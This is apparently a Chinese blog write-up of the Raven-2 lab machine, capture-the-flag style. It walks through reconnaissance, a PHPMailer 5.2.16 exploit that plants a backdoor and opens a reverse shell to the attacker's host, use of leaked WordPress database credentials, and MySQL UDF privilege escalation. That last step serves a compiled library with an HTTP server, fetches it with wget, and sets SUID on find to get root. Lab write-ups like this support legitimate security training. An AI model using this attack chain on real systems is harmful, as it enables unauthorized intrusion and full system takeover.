Raven-2
本文最后更新于5 天前,其中的信息可能已经过时,如有错误请发送邮件到1334258945@qq.com

Raven-2

寻找靶机ip

先看看自己的网段。

ifconfig


是192.168.161段
接着用namp扫一下这个段。

nmap -sP 192.168.161.0/24


我们的靶机是192.168.161.146。

看网址内容(flag1)

我们看看靶机有什么端口


有22 80 111和43228.
进入80端口看看内容。


具有好多内容,直接dirb扫一下看看。

dirb http://192.168.161.146/


具有好多内容。
通过枚举发现了该网址。
==> DIRECTORY: http://192.168.161.146/vendor/


里面发现了好多内容。
继续枚举。
在PATH发现flag1


flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

找信息


继续在这个里面枚举。
在README.md的位置找到是PHPMailer


在VERSION里面找到5.2.16


接下来就可以去找exp了。

找exp

在谷歌搜索:PHPMailer 5.2.16 exp


找到exp。
接下来去kali用searchsploit

searchsploit 40974


ok接着将这个拷贝到我们的文件夹里面。
怎么找这个exp的具体位置来让我们copy呐,输入

locate php/webapps/40974.py


接下来cp一下

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /home/kali/Desktop/baji/raven-2


好了成功cp。
接下来需要针对PHPMailer修改参数

41行:改下地址:http://192.168.161.146/contact.php  (这个网站什么位置都行)
42行:后门名称:/qjzhalx.php
44行:改下回弹的IP和端口  192.168.161.142  6666
47行:改下写入shell的目录:/var/www/html/qjzhalx.php


改成这样就好了。

执行exp

如果环境报错按照环境安装:
需要安装requests_toolbelt模块,使用命令:

pip install requests-toolbelt

安装即可,如果没用pip,需要

sudo apt-get install python-pip

安装即可。
接下来运行一下。

python3 40974.py

开启本地监听。

nc -vlp 6666

访问http://192.168.161.146/contact.php,此时就会生成后门文件qjzhalx.php
接着我们去访问http://192.168.161.146/qjzhalx.php


获得反弹shell
进入tty

python -c 'import pty;pty.spawn("/bin/bash")'

找寻flag

输入

find / -name flag*


找到两个flag,我们先看看flag2.txt有什么东西。


得到flag2为flag2{6a8ed560f0b5358ecf844108048eb337}
在网站打开flag3

http://192.168.161.146/wordpress/wp-content/uploads/2018/11/flag3.png


得到flag3。
我们可以用wget下载下来。

wordpress目录枚举

在flag3目录下发现了wordpress目录,然后进行枚举


一般都在config里面
直接

grep "password" -rn wp-config.php


有数据库的密码,我们进去看一看。


找到账号和密码
define(‘DB_USER’, ‘root’);
define(‘DB_PASSWORD’, ‘R@v3nSecurity’);
账号是root
密码是R@v3nSecurity
查看mysql进程信息

ps aux | grep root  


查看历史安装包版本

dpkg -l | grep mysql


可以看出来是5.5.6版本。
因为mysql是root权限运行的,所以接下来就找mysql提权的方法

mysql UDF 提权

UDF 提权、MOF 提权是非常经典的提权方法!
接下来我们直接登陆mysql

mysql -uroot -pR@v3nSecurity 


成功登陆。
进去之后查看版本

select version();

果然是5.5.60


看看数据库有什么

show databases;


有这四个。
进入wordpress看一看。

use wordpress


看看这个数据库里面表有什么

show tables;


看一看wp_users里面有什么

select * from wp_users;


发现了两个用户名,里面的密码被加密了。

michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven:B6X3H3ykawf2oHuPsbjQiih5iJXqad.

接着我们看看是否符合UDF提权的条件

show global variables like 'secure%';


1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
查看插件目录

show variables like '%plugin%';


查看能否远程登陆

use mysql;
select user,host from user;


发现这里root用户不允许远程登陆,因此不能利用MSF提权。

进行提权

谷歌搜索:mysql 5.x UDF exploit


找到这个。
去kali用searchsploit去搜索

searchsploit 1518.c


将这个拷贝到我们的文件夹里面

cp /usr/share/exploitdb/exploits/linux/local/1518.c /home/kali/Desktop/baji/raven-2


根据文件里面的内容,一步一步操作
首先

gcc -g -c 1518.c   ---GCC编译.o文件

然后

gcc -g -shared -o qjzhalx.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名


得到.so文件。
接下来开一个http服务

python -m http.server 8081


开启之后,我们去弹出来的shell的随意文件夹放入我们的.so文件。


这里我进入了/tmp文件夹里面
然后我们用wget传入qjzhalx.so文件

wget http://192.168.161.142:8081/qjzhalx.so


传入成功。
上传之后,我们进入到mysql里面

mysql -uroot -pR@v3nSecurity 

接着进入数据库mysql

use mysql

进入数据库创建数据表qjzhalx:

create table qjzhalx(line blob);

插入数据文件

insert into qjzhalx values(load_file('/tmp/qjzhalx.so'));


qjzhalx表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数

select * from qjzhalx into dumpfile '/usr/lib/mysql/plugin/qjzhalx.so';


创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功

create function do_system returns integer soname 'qjzhalx.so';


查看以下创建的函数

select * from mysql.func;


成功。
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令

select do_system('chmod u+s /usr/bin/find');


退出mysql

exit
cd /tmp   --进入我们的.so的文件夹


执行find命令
使用find执行 shell

touch qjzhalx
find qjzhalx -exec "/bin/sh" \;
或者:find qjzhalx -exec "id" \;


id


具有root权限,进入root文件夹获得flag


flag4为flag4{df2bc5e951d91581467bb9a2a8ff4425}

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇